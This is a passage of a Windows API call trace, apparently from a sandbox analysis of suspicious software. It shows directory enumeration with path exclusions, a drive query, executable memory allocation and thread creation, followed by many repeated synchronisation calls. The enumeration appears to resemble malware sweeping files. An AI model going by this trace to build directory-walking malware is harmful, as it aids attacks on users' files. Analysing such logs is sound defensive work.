	[0061.696] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft SQL Server\\*", lpFindFileData=0x18dbf4 | out: lpFindFileData=0x18dbf4*(dwFileAttributes=0xae4, ftCreationTime.dwLowDateTime=0x9cc, ftCreationTime.dwHighDateTime=0x18ddac, ftLastAccessTime.dwLowDateTime=0x77c6006d, ftLastAccessTime.dwHighDateTime=0x76c231e3, ftLastWriteTime.dwLowDateTime=0x76c46136, ftLastWriteTime.dwHighDateTime=0x76c231fa, nFileSizeHigh=0x411615aa, nFileSizeLow=0x3, dwReserved0=0x365f28, dwReserved1=0x4, cFileName="", cAlternateFileName="葬F\x08")) returned 0xffffffff
	[0061.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368908 | out: hHeap=0x300000) returned 1
	[0061.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0061.697] lstrlenW (lpString="C:\\Program Files\\Microsoft SQL Server") returned 37
	[0061.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0061.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x76) returned 0x353068
	[0061.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0061.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft SQL Server", lpSrch="AppData") returned 0x0
	[0061.697] lstrlenW (lpString="C:\\Windows") returned 10
	[0061.697] lstrcmpiW (lpString1="C:\\Program Files\\Microsoft SQL Server", lpString2="C:\\Windows") returned -1
	[0061.697] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0061.697] lstrcmpiW (lpString1="C:\\Program Files\\Microsoft SQL Server", lpString2="C:\\System Volume Information") returned -1
	[0061.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x368908
	[0061.697] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft SQL Server\\*", lpFindFileData=0x18dbf4 | out: lpFindFileData=0x18dbf4*(dwFileAttributes=0xae4, ftCreationTime.dwLowDateTime=0x9cc, ftCreationTime.dwHighDateTime=0x18ddac, ftLastAccessTime.dwLowDateTime=0x77c6006d, ftLastAccessTime.dwHighDateTime=0x76c231e3, ftLastWriteTime.dwLowDateTime=0x76c46136, ftLastWriteTime.dwHighDateTime=0x76c231fa, nFileSizeHigh=0x411615aa, nFileSizeLow=0x3, dwReserved0=0x365f28, dwReserved1=0x4, cFileName="", cAlternateFileName="巄@\x04")) returned 0xffffffff
	[0061.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368908 | out: hHeap=0x300000) returned 1
	[0061.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x353068 | out: hHeap=0x300000) returned 1
	[0061.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x3610d0
	[0061.698] GetLogicalDrives () returned 0x4
	[0061.698] VirtualAlloc (lpAddress=0x0, dwSize=0x60e, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0061.698] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0061.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x208) returned 0x368908
	[0061.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40359f, lpParameter=0x368908, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104
	[0061.700] VirtualAlloc (lpAddress=0x0, dwSize=0x60e, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0061.701] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0061.701] WaitForMultipleObjects (nCount=0x1, lpHandles=0x3610d0*=0x104, bWaitAll=1, dwMilliseconds=0xffffffff) 
	[0133.315] CloseHandle (hObject=0x104) returned 1
	[0133.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3610d0 | out: hHeap=0x300000) returned 1
	[0133.315] GetCurrentThreadId () returned 0xb38
	[0133.315] GetCurrentThreadId () returned 0xb38
	[0133.315] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.317] GetCurrentThreadId () returned 0xb38
	[0133.317] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.320] GetCurrentThreadId () returned 0xb38
	[0133.320] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.330] GetCurrentThreadId () returned 0xb38
	[0133.330] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.347] GetCurrentThreadId () returned 0xb38
	[0133.347] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.359] GetCurrentThreadId () returned 0xb38
	[0133.360] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.371] GetCurrentThreadId () returned 0xb38
	[0133.371] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.381] GetCurrentThreadId () returned 0xb38
	[0133.381] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.409] GetCurrentThreadId () returned 0xb38
	[0133.409] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.420] GetCurrentThreadId () returned 0xb38
	[0133.420] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.436] GetCurrentThreadId () returned 0xb38
	[0133.436] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.452] GetCurrentThreadId () returned 0xb38
	[0133.452] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.465] GetCurrentThreadId () returned 0xb38
	[0133.465] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.480] GetCurrentThreadId () returned 0xb38
	[0133.480] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.490] GetCurrentThreadId () returned 0xb38
	[0133.490] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.531] GetCurrentThreadId () returned 0xb38
	[0133.531] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.535] GetCurrentThreadId () returned 0xb38
	[0133.535] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.537] GetCurrentThreadId () returned 0xb38
	[0133.537] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.556] GetCurrentThreadId () returned 0xb38
	[0133.556] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.578] GetCurrentThreadId () returned 0xb38
	[0133.578] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.594] GetCurrentThreadId () returned 0xb38
	[0133.594] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.609] GetCurrentThreadId () returned 0xb38
	[0133.609] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.615] GetCurrentThreadId () returned 0xb38
	[0133.615] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.654] GetCurrentThreadId () returned 0xb38
	[0133.654] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.698] GetCurrentThreadId () returned 0xb38
	[0133.698] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.699] GetCurrentThreadId () returned 0xb38
	[0133.699] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.710] GetCurrentThreadId () returned 0xb38
	[0133.710] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.726] GetCurrentThreadId () returned 0xb38
	[0133.726] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.737] GetCurrentThreadId () returned 0xb38
	[0133.737] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.748] GetCurrentThreadId () returned 0xb38
	[0133.748] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.762] GetCurrentThreadId () returned 0xb38
	[0133.762] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.784] GetCurrentThreadId () returned 0xb38
	[0133.784] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.794] GetCurrentThreadId () returned 0xb38
	[0133.794] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.795] GetCurrentThreadId () returned 0xb38
	[0133.795] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.821] GetCurrentThreadId () returned 0xb38
	[0133.821] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.844] GetCurrentThreadId () returned 0xb38
	[0133.844] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.862] GetCurrentThreadId () returned 0xb38
	[0133.862] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.904] GetCurrentThreadId () returned 0xb38
	[0133.904] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0133.950] GetCurrentThreadId () returned 0xb38
	[0133.950] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.029] GetCurrentThreadId () returned 0xb38
	[0134.029] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.099] GetCurrentThreadId () returned 0xb38
	[0134.099] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.102] GetCurrentThreadId () returned 0xb38
	[0134.102] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.182] GetCurrentThreadId () returned 0xb38
	[0134.182] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.193] GetCurrentThreadId () returned 0xb38
	[0134.193] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.210] GetCurrentThreadId () returned 0xb38
	[0134.210] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.221] GetCurrentThreadId () returned 0xb38
	[0134.221] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.253] GetCurrentThreadId () returned 0xb38
	[0134.253] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.256] GetCurrentThreadId () returned 0xb38
	[0134.256] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.289] GetCurrentThreadId () returned 0xb38
	[0134.289] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.322] GetCurrentThreadId () returned 0xb38
	[0134.322] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.351] GetCurrentThreadId () returned 0xb38
	[0134.351] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.383] GetCurrentThreadId () returned 0xb38
	[0134.383] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.463] GetCurrentThreadId () returned 0xb38
	[0134.463] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.480] GetCurrentThreadId () returned 0xb38
	[0134.481] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.502] GetCurrentThreadId () returned 0xb38
	[0134.502] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.517] GetCurrentThreadId () returned 0xb38
	[0134.517] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.571] GetCurrentThreadId () returned 0xb38
	[0134.571] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.577] GetCurrentThreadId () returned 0xb38
	[0134.577] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.638] GetCurrentThreadId () returned 0xb38
	[0134.638] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.668] GetCurrentThreadId () returned 0xb38
	[0134.668] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.671] GetCurrentThreadId () returned 0xb38
	[0134.671] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.687] GetCurrentThreadId () returned 0xb38
	[0134.687] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.727] GetCurrentThreadId () returned 0xb38
	[0134.727] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.729] GetCurrentThreadId () returned 0xb38
	[0134.729] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.764] GetCurrentThreadId () returned 0xb38
	[0134.764] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.771] GetCurrentThreadId () returned 0xb38
	[0134.771] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.788] GetCurrentThreadId () returned 0xb38
	[0134.788] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.835] GetCurrentThreadId () returned 0xb38
	[0134.835] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0134.866] GetCurrentThreadId () returned 0xb38
	[0134.866] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.106] GetCurrentThreadId () returned 0xb38
	[0135.106] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.109] GetCurrentThreadId () returned 0xb38
	[0135.109] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.142] GetCurrentThreadId () returned 0xb38
	[0135.142] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.148] GetCurrentThreadId () returned 0xb38
	[0135.148] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.179] GetCurrentThreadId () returned 0xb38
	[0135.179] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.185] GetCurrentThreadId () returned 0xb38
	[0135.185] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.287] GetCurrentThreadId () returned 0xb38
	[0135.287] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.338] GetCurrentThreadId () returned 0xb38
	[0135.338] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.356] GetCurrentThreadId () returned 0xb38
	[0135.356] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.367] GetCurrentThreadId () returned 0xb38
	[0135.367] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.408] GetCurrentThreadId () returned 0xb38
	[0135.408] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.430] GetCurrentThreadId () returned 0xb38
	[0135.430] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.554] GetCurrentThreadId () returned 0xb38
	[0135.554] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.557] GetCurrentThreadId () returned 0xb38
	[0135.557] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.588] GetCurrentThreadId () returned 0xb38
	[0135.588] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.591] GetCurrentThreadId () returned 0xb38
	[0135.591] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.650] GetCurrentThreadId () returned 0xb38
	[0135.651] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.676] GetCurrentThreadId () returned 0xb38
	[0135.676] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.689] GetCurrentThreadId () returned 0xb38
	[0135.689] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.723] GetCurrentThreadId () returned 0xb38
	[0135.723] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.738] GetCurrentThreadId () returned 0xb38
	[0135.738] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.746] GetCurrentThreadId () returned 0xb38
	[0135.746] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.765] GetCurrentThreadId () returned 0xb38
	[0135.765] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.808] GetCurrentThreadId () returned 0xb38
	[0135.808] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.837] GetCurrentThreadId () returned 0xb38
	[0135.837] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.853] GetCurrentThreadId () returned 0xb38
	[0135.853] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0135.882] GetCurrentThreadId () returned 0xb38
